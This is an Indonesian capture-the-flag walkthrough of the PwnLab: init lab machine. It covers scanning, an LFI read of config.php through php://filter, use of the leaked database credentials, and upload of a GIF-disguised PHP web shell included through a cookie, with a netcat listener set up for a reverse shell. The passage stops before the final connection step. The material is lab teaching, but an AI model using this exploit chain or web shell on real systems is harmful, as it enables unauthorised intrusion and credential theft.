Alternatif lain menggunakan onetwopunch.sh script yang bisa di ambil di

Caranya,
onetwopunch.sh -t targets -p all -n "-sV -O --version-intensity=9"
Dari hasil nmap, terlihat dengan jelas beberapa hal yang menarik dari sasaran,
- Ada Web Server
- Ada Database Server
Investigasi HTTP requests/responds
Untuk investigasi HTTP requests/responses
Tools: Burp Suite, Fiddler, Tamper Data/Cookies Manager+ (FF addons) Scan vulnerability (outdated version, LFI/RFI, SQLi, …) Tools: Nikto, sqlmap, nmap scripts Mencari hidden/misconfigured directori atau file Tools: Dirbuster, GoBuster, Nikto
atau
Jalankan nikto,
nikto -host 192.168.0.130
Hasilnya,
- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.0.130 + Target Hostname: 192.168.0.130 + Target Port: 80 + Start Time: 2023-01-22 04:01:12 (GMT-5) --------------------------------------------------------------------------- + Server: Apache/2.4.10 (Debian) + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined.

Disini yang menarik, kita menemukan,
- config.php kemungkinan ada username/password untuk akses database.
- login form, yang perlu di investigasi lebih lanjut, contoh
http://192.168.0.130/?page=login. Possibly vulnerable to LFI.
kemungkinan vulnerable untuk LFI (Local Inclusion File).
Bruteforcing MySQL
Percobaan untuk bruteforcing MySQL secara manual,
mysql -h 192.168.0.130 -u root -p Enter password: (kosong) ERROR 1045 (28000): Access denied for user 'root'@'192.168.0.62' (using password: NO)
mysql -h 192.168.0.130 -u root -p Enter password: (root) ERROR 1045 (28000): Access denied for user 'root'@'192.168.0.62' (using password: YES)
Naga-naga-nya kita tidak bisa menembus secara manual.
Cek Web
Login Page
Login Page
http://192.168.0.130/login.php
Coba menggunakan SQL Injection attack,
sqlmap -u "http://192.168.0.130/?page=login" --data="user=abcd&pass=abcd&submit=Login" --level=5 --risk=3 --dbms=mysql
hasilnya ..
..... [04:51:46] [WARNING] parameter 'Host' does not seem to be injectable [04:51:46] [CRITICAL] all tested parameters do not appear to be injectable. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent' [04:51:46] [WARNING] your sqlmap version is outdated [*] ending @ 04:51:46 /2023-01-22/
Usaha sql injection gagal, kita coba vulnerable to LFI.
LFI vulnerability
Local File Inclusion (LFI) vulnerability yang sering ditemukan dalam aplikasi web yang ditulis dengan buruk. Kerentanan ini terjadi ketika aplikasi web memungkinkan pengguna mengirimkan input ke dalam file atau mengunggah file ke server. Silahkan baca2 https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/
Contoh LFI code:
<?php
if (isset($_GET['page']))
{
include($_GET['page'] . '.php');
}
?>
Kita coba URL di bawah (gagal total),
http://192.168.0.130/?page=/etc/passwd http://192.168.0.130/?page=/etc/passwd http://192.168.0.130/?page=../../../../../../../etc/passwd http://192.168.0.130/?page=../../../../../../../etc/passwd
Gunakan PHP filter untuk meng-encode .php file content ke base64 string sehingga kita bisa mem-bypass server agak tidak meng-eksekusi file .php yang kita ambil. Tampaknya teknik ini berhasil,
http://192.168.0.130/?page=php://filter/convert.base64-encode/resource=config
Kita bisa dapat config.php:
<?php $server = "localhost"; $username = "root"; $password = "H4u%QJ_H99"; $database = "Users"; ?>
Keren! kita dapat username password MySQL.
Mari kita lanjutkan analisa menggunakan PHP filter,
http://192.168.0.130/?page=php://filter/convert.base64-encode/resource=index
Kita dapat index.php:
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head> <title>PwnLab Intranet Image Hosting</title> </head> <body>
< img src="images/pwnlab.png">< br />
[ < a href="/">Home</a> ][ < a href="?page=login">Login</a> ][ < a href="? page=upload">Upload</a> ]
< hr />< br />
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</body> </html>
Lines 4-6: LFI vulnerability, jika kita set sebuah cookie dengan name _lang _ pointing ke sebuah file di file sistem, maka file tersebut akan di include. Kita bahkan tidak perlu pening menambahkan .php di belakangnya! Lines 20-23: LFI vulnerability kita dapat source codenya terima kasih banyak.
http://192.168.0.130/?page=php://filter/convert.base64-encode/resource=upload
Upload.php
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action= method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}
if(strpos($filetype,'image') === false) {
die('Error 001');
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}
if(substr_count($filetype, '/')>1){
die('Error 003');
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\">
";
} else {
die('Error 4');
}
}
}
?>
Sampai titik ini kita mengexploit page yang kita lihat di atas. Tapi tampaknya banyak hal yang menarik di page tersebut.
Lines 2-3: Ini yang tampaknya men-deny waktu kita akses. Lines 16-49: Banyak kondisi untuk upload sebuah file:
Err 0: Whitelist untuk file dengan ending .jpg, ,jpeg, .gif dan .png Err 1: File is not identified as an image Err 2: HEX signature validation? Err 3: File name contains ‘/’ to avoid LFI Err 4: Failed to upload file
Akses MySQL
Selanjutnya kita akan melihat kemungkinan untuk upload backdoor. Kita perlu mengakses page ini. Mari kita coba akses database MySQL menggunakan username password yang kita temukan di config.php.
mysql -h 192.168.0.130 -u root -p Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g. Your MySQL connection id is 21180 Server version: 5.5.47-0+deb8u1 (Debian) Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help.

MySQL [(none)]> MySQL [(none)]> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | Users | +--------------------+ 2 rows in set (0.001 sec)

Password tampaknya base64, jika kita decode misalnya via https://www.base64decode.org/, kita akan dapat,
kent: JWzXuBJJNy mike: SIfdsTEn6I kane: iSv5Ym2GRo
Uploading backdoor
Menggunakan salah satu username password yang tersedia memungkinkan kita untuk mengakses halaman upload. Yang ingin kita lakukan sekarang adalah menemukan cara untuk mendapatkan shell.
Bagaimana dengan mengunggah GIF yang berisi kode PHP, dan memasukkannya ke dalam kerentanan LFI yang kami temukan sebelumnya (cookie lang)?
Buat fake PNG file berisi PHP code
Buat fake png file berisi PHP code,
GIF89; <?php system($_GET["cmd"]) ?>
GIF89 digunakan untuk mem-bypass type check, informasi lebih lanjut bisa di baca2 di https://en.wikipedia.org/wiki/List_of_file_signatures .
Lakukan,
- Login ke pwnlab menggunakan
kent: JWzXuBJJNy mike: SIfdsTEn6I kane: iSv5Ym2GRo
- Upload ke menu upload http://192.168.0.130/?page=upload
File PNG biasanya di simpan dalam md5 hash. Ini bisa dilihat menggunakan CRTL-U dari browser, terlihat md5 hash dari file png yang kita gunakan,
../upload/d1a17e1e32f2bfa1b90a6754cadd1df8.png
Set lang cookie agar memasukan image yang kita upload
Jika menggunakan chrome, bisa masuk ke Developer Tools (Ctrl-Shift-J atau Tools -> Developer Tools) -> Console dan masukan javascript command:
document.cookie="keyofcookie=valueofcookie"
Kita dapat mengganti / menambahkan new cookie menggunakan teknik ini. Kita juga dapat memasukan multiple cooke seperti,
document.cookie="username=John Doe; expires=Thu, 18 Dec 2013 12:00:00 UTC; path=/";
Dalam pwnlab, kita butuh memasukan,
document.cookie="lang=../upload/d1a17e1e32f2bfa1b90a6754cadd1df8.png";
Start netcat listener di Kali
Start 4444 listener
nc -nvlp 4444 listening on [any] 4444 ...
Browse untuk connect ke port
- cek IP address kali linux dengan perintah "ifconfig eth0", misalnya hasilnya 192.168.0.94
- Browse ke URL (perhatikan spasi)
